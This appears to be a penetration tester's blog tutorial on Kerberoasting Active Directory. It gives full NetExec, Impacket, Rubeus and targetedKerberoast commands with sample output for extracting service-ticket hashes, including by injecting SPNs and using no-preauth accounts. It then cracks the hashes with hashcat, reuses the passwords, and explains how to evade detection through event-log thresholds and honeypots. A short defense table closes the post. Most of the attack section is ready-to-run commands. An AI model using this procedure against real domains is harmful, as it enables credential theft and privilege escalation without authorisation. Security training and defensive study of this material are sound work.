Introduction
Kerberoasting has been a documented attack since 2014 and it still works on the majority of internal engagements I run. The reason is simple: every Active Directory domain hands out service tickets encrypted with the password of the service account they belong to, and any authenticated user is allowed to ask for them. There is no privilege check. There is no rate limit by default. There is no alert unless someone went out of their way to configure one.
This post walks through the entire attack chain. Enumeration, hash extraction, the targeted variant for accounts without SPNs, the no-preauth edge case, and cracking.
What Kerberoasting Actually Is
Before we touch any tools, you need to understand what is happening on the wire. Without that, you are just running commands you do not understand.
In Active Directory, services that run under user accounts get a Service Principal Name (SPN) attached to their account. The SPN tells Kerberos which account to use when encrypting service tickets for that service. When any authenticated user requests a service ticket (TGS) for that SPN, the KDC encrypts part of the ticket with a key derived from the service account’s password.
That last part is the key. The KDC hands out a ciphertext encrypted with the service account’s password to anyone who asks. We do not need to crack anything online. We do not need to talk to the service. We just need to take the ticket offline and brute force it.
The attack has three steps:
- Find user accounts with an SPN set
- Request TGS tickets for those SPNs
- Crack the resulting hashes offline
That is it. The KDC does the heavy lifting for us.
What You Need to Start
You need one valid domain account. That is the only requirement. It can be any user with any privilege level, including a low-priv account with no special groups.
For tooling, I use:
- NetExec for fast enumeration and bulk hash extraction from Linux
- Impacket’s GetUserSPNs when I want more control or want to use Kerberos auth
- Rubeus when I am operating from a compromised Windows box
- targetedKerberoast for the modern variant when I have ACL write rights
- Hashcat for the actual cracking
All of these are actively maintained. I am specifically not mentioning CrackMapExec because it is dead and has been for years. NetExec is the successor and is what you should be using.
Step 1: Finding Kerberoastable Accounts
The first thing I do is figure out what is actually roastable in the domain. You can do this two ways: with BloodHound (which I assume you already run on every engagement) or directly with NetExec.
With NetExec
NetExec has a dedicated --kerberoasting flag on the LDAP protocol that does enumeration and ticket extraction in one shot:
root@localhost:~# nxc ldap 10.10.10.50 -u svc_user -p 'Password123!' --kerberoasting hashes.txt
This authenticates to LDAP, queries for users with an SPN attribute set, requests a TGS for each one, and writes the resulting hashes to hashes.txt in hashcat format. You will see output like:
LDAP 10.10.10.50 389 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:corp.local)
LDAP 10.10.10.50 389 DC01 [+] corp.local\svc_user:Password123!
LDAP 10.10.10.50 389 DC01 $krb5tgs$23$*svc_sql$corp.local$MSSQLSvc/sql01.corp.local~1433*$a1b2c3...
LDAP 10.10.10.50 389 DC01 $krb5tgs$23$*svc_backup$corp.local$BackupSvc/backup01.corp.local*$d4e5f6...
The --kdcHost flag is useful when DNS resolution is wonky and NetExec cannot figure out which DC to talk to:
root@localhost:~# nxc ldap 10.10.10.50 -u svc_user -p 'Password123!'--kerberoasting hashes.txt --kdcHost dc01.corp.local
With Impacket
GetUserSPNs.py is the Impacket script and it has been the standard for years. It is slower than NetExec but works in places where NetExec might fail:
root@localhost:~# GetUserSPNs.py -dc-ip 10.10.10.50 -request corp.local/svc_user:'Password123!' -outputfile hashes.txt
A few useful flags:
-requestactually requests the tickets. Without it, you just get a list of SPNs.-request-user <username>targets a single account instead of all roastable users.-hashes :ntlmhashauthenticates with an NT hash instead of a password.-k -no-passuses a Kerberos ticket from your environment instead of password auth.
If your shell is not seeing the domain properly, set KRB5CCNAME and use -k -no-pass after getting a TGT with getTGT.py.
Step 2: Reading the Hash Format
Take a look at one of those hashes:
$krb5tgs$23$*svc_sql$corp.local$MSSQLSvc/sql01.corp.local~1433*$a1b2c3...
The 23 is the encryption type (etype). That is the most important part because it tells you which hashcat mode to use:
| etype | Algorithm | Hashcat Mode | Speed (RTX 3090) |
|---|---|---|---|
| 23 | RC4-HMAC | 13100 | ~1.4 GH/s |
| 17 | AES128-CTS-HMAC-SHA1-96 | 19600 | ~450 kH/s |
| 18 | AES256-CTS-HMAC-SHA1-96 | 19700 | ~450 kH/s |
The speed difference is huge. RC4 cracks more than three thousand times faster than AES. This is why every Kerberoasting tool defaults to requesting RC4 tickets if the account supports it.
The hash also tells you the account name (svc_sql), the realm (corp.local), and the SPN (MSSQLSvc/sql01.corp.local~1433). That last part is useful for context because it tells you exactly what the service does, which sometimes gives hints about what the password might look like.
Step 3: Forcing RC4 When AES Is Enabled
Modern AD environments are gradually moving to AES-only. When you Kerberoast a user with AES enabled, you will get an $krb5tgs$18$ hash instead of $krb5tgs$23$, and cracking just got 3000x harder.
There is a trick. If the user account has RC4 still enabled in its msDS-SupportedEncryptionTypes attribute (which is the default unless someone went out of their way to disable it), you can request an RC4 ticket explicitly. Rubeus does this with the /rc4opsec flag.
Rubeus on Windows
Rubeus is a Windows .NET tool. You run it from a domain-joined machine where you already have shell access. The basic syntax:
PS C:> .\Rubeus.exe kerberoast /outfile:hashes.txt
That kerberoasts every user with an SPN in the domain. It is noisy. Better options:
PS C:> .\Rubeus.exe kerberoast /user:svc_sql /outfile:hashes.txt
PS C:> .\Rubeus.exe kerberoast /ldapfilter:'(admincount=1)' /outfile:hashes.txt
PS C:> .\Rubeus.exe kerberoast /aes /outfile:hashes.txt
PS C:> .\Rubeus.exe kerberoast /rc4opsec /outfile:hashes.txt
Breaking these down:
/user:targets a single account by name/ldapfilter:'(admincount=1)'only roasts privileged accounts (admincount=1 means the user is or was in a protected admin group)/aesrequests AES tickets only, for environments where you want to specifically get those/rc4opsecuses TGT delegation to enumerate accounts without AES enabled and only requests RC4 for those, which is the stealthier approach
If you can pick admincount=1 accounts, do it. A cracked password for a regular service account is useful. A cracked password for a member of Domain Admins ends the engagement.
Step 4: Targeted Kerberoasting (When Your Target Has No SPN)
This is the modern variant and it is one of the most underrated techniques. If you have write permissions over a user object (GenericAll, GenericWrite, or WriteProperty on servicePrincipalName), you can give that user an SPN, request a TGS, then remove the SPN. This makes any user in the domain Kerberoastable as long as you have ACL rights over them.
BloodHound will show you these paths. Look for WriteProperty or GenericWrite edges to user objects, especially ones in admin groups.
With targetedKerberoast.py
ShutdownRepo’s targetedKerberoast.py automates the entire SPN injection, ticket request, and cleanup process:
root@localhost:~# git clone https://github.com/ShutdownRepo/targetedKerberoast
root@localhost:~# cd targetedKerberoast
root@localhost:~# python3 -m venv .venv && source .venv/bin/activate
root@localhost:~# pip3 install -r requirements.txt
Running it against a single target:
root@localhost:~# python3 targetedKerberoast.py -v -d corp.local -u attacker -p 'Password123!' \
--dc-ip 10.10.10.50 --request-user victim_user -o victim.hash
Or against every user the script has write rights over:
root@localhost:~# python3 targetedKerberoast.py -v -d corp.local -u attacker -p 'Password123!' \
--dc-ip 10.10.10.50 -o all_targeted.hash
The script sets a temporary SPN like cifs/<sAMAccountName> on each target, requests a TGS, captures the hash, and immediately removes the SPN.
With NetExec
NetExec also has this capability built in via --targeted-kerberoast:
root@localhost:~# nxc ldap 10.10.10.50 -u attacker -p 'Password123!' \
--kerberoasting hashes.txt --targeted-kerberoast victim_user
Or against a list of victims:
root@localhost:~# nxc ldap 10.10.10.50 -u attacker -p 'Password123!' \
--kerberoasting hashes.txt --targeted-kerberoast users.list
Use whichever you prefer. Both do the same thing under the hood.
Step 5: Kerberoasting Without Pre-Auth
Here is a fun edge case. If there is an account in the domain that has Kerberos pre-authentication disabled (an AS-REP roastable account), you do not even need credentials to Kerberoast. You can request a TGT for the no-preauth account, then use that TGT to request service tickets.
NetExec supports this with --no-preauth-targets:
root@localhost:~# nxc ldap 10.10.10.50 -u '' -p '' \
--no-preauth-targets nopreauth_users.list --kerberoasting hashes.txt
This is rare in modern environments but I have seen it on legacy systems and on accounts that were carelessly migrated. Always worth checking.
Step 6: Cracking the Hash
You have hashes. Now you crack them. Hashcat with the right mode:
root@localhost:~# hashcat -m 13100 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
For AES128:
root@localhost:~# hashcat -m 19600 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
For AES256:
root@localhost:~# hashcat -m 19700 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
Pure dictionary attacks rarely work against service account passwords because admins know better than to set Summer2024! on a service account. Use rules:
root@localhost:~# hashcat -m 13100 -a 0 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
root@localhost:~# hashcat -m 13100 -a 0 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/d3ad0ne.rule
Or hybrid attacks where you append common patterns:
root@localhost:~# hashcat -m 13100 -a 6 hashes.txt rockyou.txt ?d?d?d?d
That last command appends every 4-digit combination to every word in rockyou. Catches a lot of Password2024 style guesses.
For high-value targets, do not stop at rockyou. Use OneRuleToRuleThemAll, custom wordlists built from the target’s website, and masks based on the company’s known password policy. Pull the policy with nxc smb <dc> -u user -p pass --pass-pol so you know the minimum length and complexity requirements.
If you have a beefy GPU rig, AES is crackable too, just slower. A service account with CompanyName2024! will fall to AES256 in a few hours on a single RTX 4090. Do not write off AES hashes.
Step 7: Using the Cracked Password
Once you have the cleartext, validate it. NetExec is great for this:
root@localhost:~# nxc smb 10.10.10.0/24 -u svc_sql -p 'CrackedPassword2024!'
root@localhost:~# nxc ldap 10.10.10.50 -u svc_sql -p 'CrackedPassword2024!'
Then check what the account can do. Service accounts often have surprising rights:
- Local admin on the boxes running their service
- Members of weird custom groups that grant access to file shares
- Sometimes accidentally placed in privileged groups by a junior sysadmin
- Trustee on ACLs you can abuse for further attacks
Always re-run BloodHound with the new credentials. The graph will look completely different from a service account’s perspective compared to your initial low-priv user.
OPSEC Considerations
Kerberoasting is not silent. Every TGS request generates Event ID 4769 on the domain controller. A burst of 4769 events from a single account to dozens of SPNs in a few seconds is the textbook indicator of Kerberoasting.
Real detection rules look for:
- High volume of 4769 events from a single source within a short window
- 4769 events requesting RC4 (etype 0x17) when the account supports AES
- 4769 events for SPNs that are rarely accessed
- Honeypot accounts: fake service accounts with SPNs that should never be requested
To reduce noise:
- Roast one account at a time instead of dumping the whole domain
- Use
/rc4opsecin Rubeus to skip AES-only accounts (you avoid forced AES downgrades that look suspicious) - Throttle requests if you have time
- Skip honeypot accounts if you can identify them (usually they have weird SPNs, no recent logons, and live in odd OUs)
Targeted Kerberoasting is louder than regular Kerberoasting because adding and removing SPNs generates additional Event ID 5136 (directory service modification) and 4738 (user account modified) events. Use it deliberately, not as a default.
Defense Side
For the blue teamers reading, here is what actually stops this:
| Defense | Why It Works |
|---|---|
| Strong service account passwords (25+ random chars) | Makes offline cracking infeasible |
| Group Managed Service Accounts (gMSA) | Passwords are 240 bytes long and auto-rotated by AD |
| Enforce AES-only encryption on accounts | Removes the RC4 fast path |
| Disable RC4 domain-wide | Same idea, but applied at the domain level |
| Monitor for high-volume 4769 events | Catches active Kerberoasting in progress |
| Deploy honeypot service accounts | Any request to them is malicious by definition |
| Audit accounts with SPNs regularly | Removes forgotten SPNs that should not exist |
The single biggest win is gMSA. If a service can be migrated to a gMSA, do it. The password is not memorizable, not crackable in any reasonable timeframe, and rotates every 30 days automatically.
TL;DR
- Any authenticated domain user can Kerberoast. No special privileges required.
- Use
nxc ldap <target> -u user -p pass --kerberoasting out.txtfor fast Linux-based enumeration and extraction. - RC4 hashes (
$krb5tgs$23$) crack at hashcat mode 13100, thousands of times faster than AES. - If your target has no SPN, use
targetedKerberoast.pyornxc --targeted-kerberoastto inject one if you have write rights. - AES is crackable too, just slower. Do not skip AES hashes on high-value targets.
- CrackMapExec is dead. Use NetExec.
- Real service account passwords need rules and hybrid attacks, not just rockyou.
Conclusion
Kerberoasting has not gotten any less relevant in the last ten years and it will not go away anytime soon. Service accounts with human-set passwords are everywhere, and the cryptography of Kerberos hands you a free offline brute-force opportunity every time you find one. The bar for the attack is one valid domain user.
The variants matter too. Standard Kerberoasting catches the obvious targets. Targeted Kerberoasting catches the accounts that someone tried to protect by not giving them an SPN. AS-REP plus Kerberoasting catches the no-preauth edge cases. Knowing all three means you almost never walk away from an engagement empty-handed on the credential front.
If you are defending an AD environment, the answer is the same as it has been for years: gMSA where possible, long random passwords where not, AES everywhere, and 4769 monitoring with honeypots. Nothing fancy. Just discipline.